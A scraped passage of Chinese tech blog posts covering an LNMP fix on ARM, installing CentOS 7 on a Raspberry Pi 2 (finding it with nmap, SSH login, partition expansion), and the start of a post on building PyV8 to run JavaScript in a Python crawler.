class=\"brush:bash;\">$ cd ..\r\n$ ls\r\nlog\r\n$ sudo mkdir run\r\n$ sudo lnmp restart\r\n+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStoping LNMP...\r\nStoping nginx... done\r\nShutting down MySQL. SUCCESS! \r\nGracefully shutting down php-fpm warning, no pid file found - php-fpm is not running ?\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL..... SUCCESS! \r\nStarting php-fpm done</pre>\r\nOK\uff0c\u7ec8\u4e8e\u641e\u5b9a\u4e86\uff0c\u771f\u662f\u66f2\u6298\u554a\uff0c\u4f30\u8ba1lnmp\u4f5c\u8005\u6ca1\u6709\u6d4b\u8bd5\u8fc7lnmp\u8dd1\u5728ARM\u4e0a\u4f1a\u4e0d\u4f1a\u51fa\u95ee\u9898\uff0c\u5e0c\u671b\u80fd\u591f\u6539\u8fdb...\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23408 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["CentOS 7 for ARM \u4e0a\u624b\u6d4b\u8bd5"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-09-28, 1:40 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u5f00\u6e90\u786c\u4ef6", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u624b\u4e0a\u4e24\u5757\u6811\u8393\u6d3e\uff0c\u4e00\u5757\u662frpi B+\uff0c\u4e00\u5757\u662frpi2 B\uff0c\u6682\u65f6\u6ca1\u6709\u4e703\u7684\u6253\u7b97\uff0c\u611f\u89c92 B\u7248\u672c\u7684\u6027\u80fd\u5df2\u7ecf\u591f\u6211\u4f7f\u7528\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u6700\u8fd1\u624b\u5934\u4e0a\u7684\u5c0f\u9879\u76ee\u591a\u4e86\u8d77\u6765\uff0c\u8bf7\u6c42\u91cf\u6709\u70b9\u5927\uff0c\u8fdc\u5728\u6d1b\u6749\u77f6\u7684\u5c0f\u6c34\u7ba1VPS\u6709\u70b9\u625b\u4e0d\u4f4f\uff0c\u5e73\u65f6\u8dd1ss\u770b\u4e2a\u6cb9\u7ba1\u8fd8\u51d1\u6d3b\uff0c\u5c0f\u9879\u76ee\u8dd1\u8d77\u6765\u5c31\u5361\u7684\u53d7\u4e0d\u4e86\uff0c\u5bfb\u601d\u7740\u628a\u624b\u4e0a\u7684\u4e24\u5757\u677f\u5b50\u7ed9\u7528\u8d77\u6765\uff0c\u76f4\u63a5\u5728\u672c\u5730\u642d\u670d\u52a1\u5668\u73af\u5883\uff0c\u518d\u641e\u4e2aDDNS\uff0c\u9f50\u6d3b\u4e86\uff01\r\n</p>\r\n<h2>\r\n\t\u955c\u50cf\r\n</h2>\r\n<p>\r\n\t\u521a\u5f00\u59cb\u4e00\u76f4\u5728\u7ea0\u7ed3\u7528\u4ec0\u4e48\u7cfb\u7edf\uff0c\u6811\u8393\u6d3e\u5b98\u65b9\u7684debian\u7cfb\u5217\u867d\u7136\u6bd4\u8f83\u7701\u5185\u5b58\uff0c\u5728\u4e8e\u4f5c\u4e3aWEB\u670d\u52a1\u5668\u6765\u8bf4\uff0c\u786e\u5b9e\u4e0d\u592a\u597d\u7528\uff0c\u53ef\u80fd\u535a\u4e3b\u5f88\u5c11\u7528debian\u505a\u670d\u52a1\u7aef\u7684\u539f\u56e0\u5427\uff0c\u603b\u611f\u89c9\u6709\u70b9\u522b\u626d\r\n</p>\r\n<p>\r\n\t\u540e\u6765\u63a5\u89e6\u4e86\u6811\u8393\u6d3e\u7248\u672c\u7684Kali Linux\uff0c\u4e5f\u5728\u4e0a\u9762\u8dd1\u4e86\u4e00\u4e9b\u811a\u672c\uff0c\u4e3b\u8981\u8fd8\u662f\u6bd4\u8f83\u9002\u5408\u8dd1\u4e00\u4e9b\u626b\u63cf\u811a\u672c\u4ec0\u4e48\u7684\uff0c\u8dd1WEB\u5c31\u4e0d\u592a\u5408\u9002\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u4eca\u5929\u53d1\u73b0CentOS\u7684\u6811\u8393\u6d3e\u7248\u672c\uff0c\u6bd4\u8f83\u60ca\u559c\u3002\r\n</p>\r\n<p>\r\n\t\u56e0\u4e3aCentOS\u7684\u7a33\u5b9a\u6027\u662f\u6bcb\u5eb8\u7f6e\u7591\u7684\uff0c\u800c\u4e14\u535a\u4e3b\u4e4b\u524d\u6bd4\u8f83\u64c5\u957f\u7684\u670d\u52a1\u5668\u7cfb\u7edf\u5c31\u662fCentOS\uff0c\u90e8\u7f72\u548c\u7ef4\u62a4CentOS\u4e5f\u7b97\u662f\u5f97\u5fc3\u5e94\u624b\uff0c\u5176\u5b9e\u65e9\u57282015\u5e7412\u6708\uff0cCentOS\u5b98\u65b9\u5c31\u5df2\u7ecf\u53d1\u5e03\u4e86arm\u7248\u672c\u7684\u955c\u50cf\uff0c\u8fd9\u4e9b\u955c\u50cf\u53ef\u4ee5\u8fd0\u884c\u5728 \u6811\u8393\u6d3e2\uff08RaspberryPi 2\uff09\u3001\u9999\u8549\u6d3e\uff08BananaPi\uff09\u548c CubieTruck\u4e0a\uff0c\u800c\u5728\u4eca\u5e743\u6708\u4efd\uff0cCentOS\u53c8\u53d1\u5e03\u4e86\u53ef\u4ee5\u8fd0\u884c\u5728\u6811\u8393\u6d3e\uff08RasberryPI 3\uff09\u4e0a\u7684\u955c\u50cf\uff0c\u4f46\u662f\u5b98\u65b9\u5bf9\u4e8eARM\u7248\u672c\u7684\u955c\u50cf\u5e76\u6ca1\u6709\u8fc7\u591a\u7684\u8bf4\u660e\u548c\u4ecb\u7ecd\uff0c\u4e5f\u6ca1\u6709\u660e\u786e\u7684\u63a8\u5e7f\uff0c\u5bfc\u81f4\u5f88\u591a\u6bd4\u8f83\u949f\u7231ARM\u7cfb\u5217\u7684\u7231\u597d\u8005\uff08\u535a\u4e3b\u4e5f\u662f\uff09\u5e76\u4e0d\u77e5\u9053CentOS\u5c45\u7136\u8fd8\u6709ARM\u7248\u672c\u3002\r\n</p>\r\n<h2>\r\n\t\u4e0b\u8f7d\r\n</h2>\r\n<p>\r\n\tARM\u7248\u672c\u7684CentOS\u53ef\u4ee5\u5728\u5b98\u65b9\u7684\u955c\u50cf\u5730\u5740\u627e\u5230\uff0c\u5730\u5740\u5728\u8fd9\u91cc\r\n</p>\r\n<pre class=\"brush:bash;\">http://mirror.centos.org/altarch/7/isos/armhfp/</pre>\r\n\u9009\u62e9\u5408\u9002\u81ea\u5df1\u677f\u5b50\u7684\u955c\u50cf\u4e0b\u8f7d\u5c31\u597d\u4e86\uff0c\u6211\u8fd9\u91cc\u9009\u62e9\u7684\u662f\r\n<pre class=\"brush:bash;\">CentOS-Userland-7-armv7hl-Minimal-1511-RaspberryPi2.img.xz\t</pre>\r\n\u8fd9\u4e2a\u955c\u50cf\uff0c\u4e0b\u8f7d\u56de\u6765\u4e4b\u540e\u89e3\u538b\u5f97\u5230\u4e00\u4e2a.img\u4e3a\u540e\u7f00\u7684\u955c\u50cf\u6587\u4ef6\uff0cwindows\u4e0b\u9762\u4f7f\u7528USBwriter\u8fd9\u4e2a\u7eff\u8272\u8f6f\u4ef6\u5c31\u80fd\u628aimg\u955c\u50cf\u5199\u5165\u5230\u5185\u5b58\u5361\u4e86\u3002\r\n<h2>\r\n\t\u5f00\u673a\r\n</h2>\r\n<p>\r\n\t\u5199\u5165\u4e4b\u540e\u5c31\u53ef\u4ee5\u5f00\u59cb\u6d4b\u8bd5\u4e86\uff0c\u6211\u9996\u5148\u5728\u6211\u7684\u6811\u8393\u6d3eB+\u4e0a\u6d4b\u8bd5\uff0c\u53d1\u73b0\u65e0\u6cd5\u542f\u52a8\uff0c\u6bd5\u7adf\u5b98\u65b9\u7684\u955c\u50cf\u53ea\u652f\u6301\u6811\u8393\u6d3e2\u548c\u6811\u8393\u6d3e3\uff0c\u653e\u5230\u6811\u8393\u6d3e2 B\u4e0a\u6b63\u5e38\u542f\u52a8\uff0c\u56e0\u4e3a\u6811\u8393\u6d3e\u5e76\u6ca1\u6709\u663e\u793a\u5668\u548c\u952e\u76d8\u9f20\u6807\uff0c\u6240\u4ee5\u8fd9\u91cc\u6211\u4f7f\u7528\u7f51\u7ebf\u76f4\u63a5\u63a5\u5165\u5230\u8def\u7531\u5668\u4e0a\uff0c\u7136\u540e\u4f7f\u7528nmap\u5bf9\u7f51\u6bb5\u8fdb\u884c\u626b\u63cf\u5f97\u5230 \u6811\u8393\u6d3e \u7684IP\u5730\u5740\r\n</p>\r\n<pre class=\"brush:bash;\">Nmap scan report for 192.168.65.128\r\nHost is up (0.010s latency).\r\nNot shown: 999 filtered ports\r\nPORT STATE SERVICE\r\n22/tcp open ssh\r\nMAC Address: XX:XX:XX:XX:XX:XX (Raspberry Pi Foundation)\r\n</pre>\r\n\u53ef\u4ee5\u770b\u5230\u9ed8\u8ba4\u5f00\u653e\u4e8622\u7aef\u53e3\uff0c\u7528\u4e8essh\u8fde\u63a5\u7ba1\u7406\uff0c\u8fd9\u91cc\u4f7f\u7528ssh\u767b\u5f55\uff0c\u7528\u6237\u4e3aroot\uff0c\u5bc6\u7801\u9ed8\u8ba4\u4e3acentos\uff0c\u767b\u5f55\u6210\u529f\r\n<pre class=\"brush:bash;\">root@TimeMachine:~# ssh 192.168.65.128\r\nThe authenticity of host '192.168.65.128 (192.168.65.128)' can't be established.\r\nECDSA key fingerprint is SHA256:s3Wgg68IyzMOPm1rEljqDdL8u/IjppBgUWu2sAXFgM8.\r\nAre you sure you want to continue connecting (yes/no)? yes\r\nWarning: Permanently added '192.168.65.128' (ECDSA) to the list of known hosts.\r\nroot@192.168.65.128's password: \r\nPermission denied, please try again.\r\nroot@192.168.65.128's password: \r\nPermission denied, please try again.\r\nroot@192.168.65.128's password: \r\nLast failed login: Thu Jan 1 00:04:42 UTC 1970 from 192.168.65.120 on ssh:notty\r\nThere were 2 failed login attempts since the last successful login.</pre>\r\n<p>\r\n\t\u770b\u4e86\u4e0b\u8d44\u6e90\u5360\u7528\uff0c\u76f8\u5f53\u4e0d\u9519\r\n</p>\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# top\r\n\r\ntop - 00:06:02 up 6 min, 1 user, load average: 0.00, 0.07, 0.05\r\nTasks: 80 total, 1 running, 79 sleeping, 0 stopped, 0 zombie\r\n%Cpu(s): 1.1 us, 1.2 sy, 0.0 ni, 97.0 id, 0.7 wa, 0.0 hi, 0.0 si, 0.0 st\r\nKiB Mem : 948180 total, 815104 free, 48536 used, 84540 buff/cache\r\nKiB Swap: 524284 total, 524284 free, 0 used. 873860 avail Mem </pre>\r\n\u521a\u88c5\u5b8c\u7cfb\u7edf\u5360\u752848M\u5185\u5b58\uff0c\u6bd4\u8f83\u7701\uff0c\u64cd\u4f5c\u8d77\u6765\u5f88\u987a\u7545\uff0c\u987a\u624bls\u4e86\u4e00\u4e0b\u53d1\u73b0\u6839\u76ee\u5f55\u4e0b\u9762\u6709\u4e2aREADME\u6587\u4ef6\uff0c\u6253\u5f00\u770b\u4e0b\u90fd\u5199\u4e86\u5565\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# ls\r\nREADME\r\n[root@rpi2 ~]# cat README \r\n== CentOS 7 userland ==\r\n\r\nIf you want to automatically resize your / partition, just type the following (as root user):\r\ntouch /.rootfs-repartition\r\nsystemctl reboot</pre>\r\n\u771f\u662f\u8d34\u5fc3\u7684\u529f\u80fd\u554a\uff0c\u77e5\u9053\u7528\u6237\u5185\u5b58\u5361\u5237\u5b8c\u7cfb\u7edf\u6ca1\u6709\u5b8c\u5168\u5229\u7528\u7a7a\u95f4\uff0c\u63d0\u4f9b\u547d\u4ee4\u7684\u65b9\u5f0f\u81ea\u52a8\u6269\u5c55\u7a7a\u95f4\uff0c\u771f\u5fc3\u4e0d\u9519\u7684\u529f\u80fd\uff0c\u5899\u88c2\u8d5e\u4e00\u4e2a<img src=\"http://www.92ez.com/include/editor/plugins/emoticons/images/79.gif\" alt=\"\" border=\"0\"> \r\n<p>\r\n\t\u770b\u4e00\u4e0b\u5f53\u524d\u7684\u7a7a\u95f4\u4f7f\u7528\u60c5\u51b5\r\n</p>\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# df -lh\r\n\u6587\u4ef6\u7cfb\u7edf \u5bb9\u91cf \u5df2\u7528 \u53ef\u7528 \u5df2\u7528% \u6302\u8f7d\u70b9\r\n/dev/root 2.0G 658M 1.2G 36% /\r\ndevtmpfs 459M 0 459M 0% /dev\r\ntmpfs 463M 0 463M 0% /dev/shm\r\ntmpfs 463M 6.1M 457M 2% /run\r\ntmpfs 463M 0 463M 0% /sys/fs/cgroup\r\n/dev/mmcblk0p1 300M 64M 237M 22% /boot\r\ntmpfs 93M 0 93M 0% /run/user/0</pre>\r\n<p>\r\n\t\u53ef\u75281.2G\uff0c\u5f88\u663e\u7136\u9700\u8981\u6269\u5c55\uff0c\u6839\u636eREADME\u6267\u884c\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# touch /.rootfs-repartition\r\n[root@rpi2 ~]# systemctl reboot\r\nConnection to 192.168.65.128 closed by remote host.\r\nConnection to 192.168.65.128 closed.</pre>\r\n\u91cd\u542f\u540e\u767b\u5f55\u518d\u770b\u7a7a\u95f4\u9002\u7528\u60c5\u51b5\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# df -lh\r\n\u6587\u4ef6\u7cfb\u7edf \u5bb9\u91cf \u5df2\u7528 \u53ef\u7528 \u5df2\u7528% \u6302\u8f7d\u70b9\r\n/dev/root 14G 660M 13G 5% /\r\ndevtmpfs 459M 0 459M 0% /dev\r\ntmpfs 463M 0 463M 0% /dev/shm\r\ntmpfs 463M 6.1M 457M 2% /run\r\ntmpfs 463M 0 463M 0% /sys/fs/cgroup\r\n/dev/mmcblk0p1 300M 64M 237M 22% /boot\r\ntmpfs 93M 0 93M 0% /run/user/0</pre>\r\n\u5df2\u7ecf\u5b8c\u6210\u4e86\u6269\u5c55\uff0c\u76f8\u5f53\u7684\u65b9\u4fbf\u3002\r\n<h2>\r\n\t\u73a9\u800d\r\n</h2>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u5c31\u662f\u66f4\u65b0\u7cfb\u7edf\u554a\uff0c\u5b89\u88c5web\u670d\u52a1\u7aef\u8f6f\u4ef6\uff0c\u6570\u636e\u5e93\u4e4b\u7c7b\u7684\uff0c\u8c03\u6559\u597d\u4e86\u5c31\u628aVPS\u4e0a\u7684\u5c0f\u9879\u76ee\u8fc1\u79fb\u8fc7\u6765\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23407 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Python\u722c\u866b\u4f7f\u7528PyV8\u6267\u884cjs\u4ee3\u7801"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-09-27, 12:47 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u8fd9\u662f\u4e00\u4e2a\u5947\u8469\u7684\u9700\u6c42\uff0c\u722c\u866b\u53bb\u597d\u597d\u7684\u722c\u6570\u636e\u4e0d\u5c31\u884c\u4e86\uff0c\u89e3\u6790js\u5e72\u561b\uff1f\u5403\u9971\u4e86\u6491\u7684\uff1f\r\n</p>\r\n<p>\r\n\t\u641c\u7d22\u4e00\u4e0b\u4e92\u8054\u7f51\u4e0a\u5173\u4e8e\u8fd9\u4e2a\u95ee\u9898\u8fd8\u771f\u4e0d\u5c11\uff0c\u4f46\u662f\u5927\u591a\u6570\u7ae5\u978b\u662f\u56e0\u4e3a\u81ea\u5df1\u7684js\u57fa\u7840\u592a\u70c2\uff0c\u8981\u4e48\u662fHTML\u57fa\u7840\u70c2\uff0c\u8981\u4e48ajax\u57fa\u7840\u70c2\uff0c\u53cd\u6b63\u5404\u65b9\u9762\u90fd\u5f88\u70c2\u3002\u57fa\u7840\u8fd9\u4e48\u6e23\u4e0d\u597d\u597d\u53bb\u5b66\u57fa\u7840\u5199\u4ec0\u4e48\u722c\u866b\uff1f\r\n</p>\r\n<p>\r\n\t\u90a3\u4f60\u80af\u5b9a\u8981\u95ee\u4e86\u201c\u8bf7\u95ee\u6211\u7684\u670b\u53cb\uff0c\u4f60TM\u600e\u4e48\u4e5f\u6709\u8fd9\u4e2a\u9700\u6c42\uff1f\u83ab\u975e\u4f60\u662f\u4e2a\u6280\u672f\u6e23\uff1f\u201d\r\n</p>\r\n<p>\r\n\t\u975e\u4e5f\u975e\u4e5f\uff0c\u535a\u4e3b\u4f5c\u4e3a\u4e00\u4e2a\u62e5\u67093\u5e74\u591a\u524d\u7aef\u7ecf\u9a8c\u7684\u653b\u57ce\u5c38\uff0c\u600e\u4e48\u4f1a\u88ab\u8fd9\u4e2a\u95ee\u9898\u7ed9\u96be\u5012\u5462\uff0c\u8001\u592b\u4eca\u5929\u9047\u5230\u7684\u95ee\u9898\u5f88\u663e\u7136\u6ca1\u6709\u90a3\u4e48\u7b80\u5355\u3002\r\n</p>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u90a3\u4e48\u535a\u4e3b\u5230\u5e95\u662f\u9047\u5230\u4ec0\u4e48\u95ee\u9898\u4e86\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u4eca\u5929\u8981\u53bb\u722c\u4e00\u4e2a\u63a5\u53e3\uff0c\u4f46\u662f\u8c03\u7528\u90a3\u4e2a\u63a5\u53e3\u9700\u8981\u5e26\u4e0a\u4ee4\u724c\uff0c\u4e5f\u5c31\u662f\u5b58\u50a8\u5728Cookie\u4e2d\u7684\u4e00\u4e2a\u7c7b\u4f3ctoken\u7684\u4e1c\u897f\uff0cCookie\u7684\u503c\u662f\u4e00\u6bb5js\u751f\u6210\u7684\uff0c\u8fd9\u6bb5js\u53c8\u662f\u901a\u8fc7\u53e6\u5916\u4e00\u4e2a\u63a5\u53e3\u83b7\u53d6\u56de\u6765\u7684\uff0c\u800c\u83b7\u53d6\u56de\u6765\u7684js\u4ee3\u7801\u8fd8\u662f\u52a8\u6001\u7684\uff0cWTF\uff01\uff01\uff01\u5f00\u53d1\u4eba\u5458\u4f60\u8fd9\u662f \u5f04\u6492\u561e\uff1f\r\n</p>\r\n<p>\r\n\t\u8def\u4eba\u7532\uff1a\u6211\u64e6\u561e\uff0c\u58f0\u79f0\u7ecf\u9a8c\u8001\u9053\u7684\u535a\u4e3b\u4e0d\u4f1a\u5206\u6790js\u7684\u903b\u8f91\uff1f\r\n</p>\r\n<p>\r\n\t\u5bf9\uff0c\u6211\u5c31\u662f\u4e0d\u4f1a\uff0c\u7279\u4e48\u7684js\u4ee3\u7801\u90fd\u662f\u6df7\u6dc6\u52a0\u5bc6\u7684\uff0c\u773c\u775b\u90fd\u770b\u778e\u4e86\u90fd\u7279\u4e48\u4e0d\u77e5\u9053\u5199\u7684\u90fd\u662f\u5199\u5565\uff1f\r\n</p>\r\n<p>\r\n\t\u7b97\u4e86\uff0c\u6211\u76f4\u63a5\u6267\u884c\u62ff\u5230\u7ed3\u679c\u5c31\u597d\u4e86\uff0c\u7ba1\u4ed6\u5199\u7684\u662f\u4ec0\u4e48\u9b3c\u3002\r\n</p>\r\n<h2>\r\n\t\u601d\u8def\r\n</h2>\r\n<p>\r\n\t\u7406\u4e00\u7406\u601d\u8def\uff0c\u73b0\u5728\u8981\u505a\u7684\u4e8b\u60c5\u5176\u5b9e\u5f88\u7b80\u5355\r\n</p>\r\n<ol>\r\n\t<li>\r\n\t\t\u8bf7\u6c42\u63a5\u53e3A\uff0c\u62ff\u5230\u52a8\u6001\u751f\u6210\u7684\u6df7\u6dc6\u8fc7\u7684js\u4ee3\u7801\r\n\t</li>\r\n\t<li>\r\n\t\t\u6267\u884cjs\u4ee3\u7801\uff0c\u62ff\u5230\u751f\u6210\u7684cookie\u503c\r\n\t</li>\r\n\t<li>\r\n\t\t\u8bf7\u6c42\u63a5\u53e3B\uff0c\u5e26\u4e0ajs\u751f\u6210\u7684\u4ee4\u724c\r\n\t</li>\r\n\t<li>\r\n\t\t\u62ff\u5230\u7ed3\u679c\uff0c\u6109\u5feb\u7684\u73a9\u800d...\r\n\t</li>\r\n</ol>\r\n<p>\r\n\t\u601d\u8def\u76f8\u5f53\u7684\u6e05\u6670\uff0c\u611f\u89c9\u79d2\u79d2\u949f\u5c31\u53ef\u4ee5\u5b9e\u73b0\u4e86\u5462\u3002\uff08<img src=\"http://www.92ez.com/include/editor/plugins/emoticons/images/0.gif\" alt=\"\" border=\"0\">\uff09\r\n</p>\r\n<h2>\r\n\t\u96be\u9898\r\n</h2>\r\n<p>\r\n\tPython\u91cc\u9762\u6267\u884cjs\uff1f\u6709\u70b9\u610f\u601d\uff0c\u6211\u5e72\u561b\u4e0d\u7528nodejs\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u56e0\u4e3aPython\u662f\u4e16\u754c\u4e0a\u6700\u5c4c\u7684\u8bed\u8a00\u554a\uff01\u6ca1\u6709\u4e4b\u4e00\uff01\r\n</p>\r\n<p>\r\n\t\u627e\u5230\u4e86PyV8\u8fd9\u4e2a\u795e\u5947\u7684\u6a21\u5757\uff0c\u673a\u5668\u5df2\u7ecf\u6709\u4e86pip\uff0c\u6267\u884c\u5b89\u88c5\u4e00\u4e0b\u4e0d\u5c31OK\u4e86\uff1f\r\n</p>\r\n<pre class=\"brush:py;\">pip install pyv8</pre>\r\n\u4e0d\u8981\u6000\u7591\uff0c\u535a\u4e3b\u673a\u5668\u88c5\u7684\u662f Kali Linux \uff0cRoot \u6743\u9650\uff0c\u4e0d\u9700\u8981 sudo\r\n<p>\r\n\t\u63a5\u7740\u62a5\u9519\r\n</p>\r\n<pre class=\"brush:bash;\">pip install -U PyV8\r\nCollecting PyV8\r\n Using cached PyV8-0.5.zip\r\nBuilding wheels for collected packages: PyV8\r\n Running setup.py bdist_wheel for PyV8 ... error\r\n Complete output from command /usr/bin/python -u -c \"import setuptools, tokenize;__file__='/tmp/pip-build-QUm4bX/PyV8/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\\r\\n', '\\n'), __file__, 'exec'))\" bdist_wheel -d /tmp/tmpb0udlepip-wheel- --python-tag cp27:\r\n running bdist_wheel\r\n running build\r\n running build_py\r\n creating build\r\n creating build/lib.linux-x86_64-2.7\r\n copying PyV8.py -> build/lib.linux-x86_64-2.7\r\n running build_ext\r\n building '_PyV8' extension\r\n creating build/temp.linux-x86_64-2.7\r\n creating build/temp.linux-x86_64-2.7/src\r\n x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fdebug-prefix-map=/build/python2.7-cFt4xx/python2.7-2.7.12=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC -DBOOST_PYTHON_STATIC_LIB -Ilib/python/inc -Ilib/boost/inc -Ilib/v8/inc -I/usr/include/python2.7 -c src/Exception.cpp -o build/temp.linux-x86_64-2.7/src/Exception.o\r\n cc1plus: warning: command line option \u2018-Wstrict-prototypes\u2019 is valid for C/ObjC but not for C++\r\n In file included from src/Exception.cpp:1:0:\r\n src/Exception.h:6:16: fatal error: v8.h: \u6ca1\u6709\u90a3\u4e2a\u6587\u4ef6\u6216\u76ee\u5f55\r\n #include <v8.h>\r\n ^\r\n compilation terminated.\r\n error: command 'x86_64-linux-gnu-gcc' failed with exit status 1\r\n \r\n ----------------------------------------\r\n Failed building wheel for PyV8\r\n Running setup.py clean for PyV8\r\nFailed to build PyV8\r\nInstalling collected packages: PyV8\r\n Running setup.py install for PyV8 ... error\r\n Complete output from command /usr/bin/python -u -c \"import setuptools, tokenize;__file__='/tmp/pip-build-QUm4bX/PyV8/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\\r\\n', '\\n'), __file__, 'exec'))\" install --record /tmp/pip-7OAwUa-record/install-record.txt --single-version-externally-managed --compile:\r\n running install\r\n running build\r\n running build_py\r\n creating build\r\n creating build/lib.linux-x86_64-2.7\r\n copying PyV8.py -> build/lib.linux-x86_64-2.7\r\n running build_ext\r\n building '_PyV8' extension\r\n creating build/temp.linux-x86_64-2.7\r\n creating build/temp.linux-x86_64-2.7/src\r\n x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fno-strict-aliasing -Wdate-time -D_FORTIFY_SOURCE=2 -g -fdebug-prefix-map=/build/python2.7-cFt4xx/python2.7-2.7.12=. -fstack-protector-strong -Wformat -Werror=format-security -fPIC -DBOOST_PYTHON_STATIC_LIB -Ilib/python/inc -Ilib/boost/inc -Ilib/v8/inc -I/usr/include/python2.7 -c src/Exception.cpp -o build/temp.linux-x86_64-2.7/src/Exception.o\r\n cc1plus: warning: command line option \u2018-Wstrict-prototypes\u2019 is valid for C/ObjC but not for C++\r\n In file included from src/Exception.cpp:1:0:\r\n src/Exception.h:6:16: fatal error: v8.h: \u6ca1\u6709\u90a3\u4e2a\u6587\u4ef6\u6216\u76ee\u5f55\r\n #include <v8.h>\r\n ^\r\n compilation terminated.\r\n error: command 'x86_64-linux-gnu-gcc' failed with exit status 1\r\n \r\n ----------------------------------------\r\nCommand \"/usr/bin/python -u -c \"import setuptools, tokenize;__file__='/tmp/pip-build-QUm4bX/PyV8/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\\r\\n', '\\n'), __file__, 'exec'))\" install --record /tmp/pip-7OAwUa-record/install-record.txt --single-version-externally-managed --compile\" failed with error code 1 in /tmp/pip-build-QUm4bX/PyV8/</pre>\r\n\u4f3c\u4e4e\u662f\u56e0\u4e3a\u7f3a\u5c11 v8.h \u8fd9\u4e2a\u6587\u4ef6\u5bfc\u81f4\u7684\uff0c\u53ef\u662f\u53c8\u770b\u4e0d\u61c2\u5565\u610f\u601d\u3002\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7\u641c\u7d22\u5f15\u64ce\u627e\u5230\u4e86\u89e3\u51b3\u65b9\u6848\uff0c\u539f\u6765\u662f\u56e0\u4e3a PyV8 \u4f9d\u8d56\u4e8eBoost \uff0c\u7136\u800c\u8fd9\u4e2a\u95ee\u9898\u5b98\u65b9\u5e76\u6ca1\u6709\u8bf4\uff0c\u6240\u4ee5\u5f97\u5148\u5b89\u88c5\u4e0b\u8fd9\u4e2a\u5305\r\n</p>\r\n<pre class=\"brush:bash;\">apt-get update && apt-get install 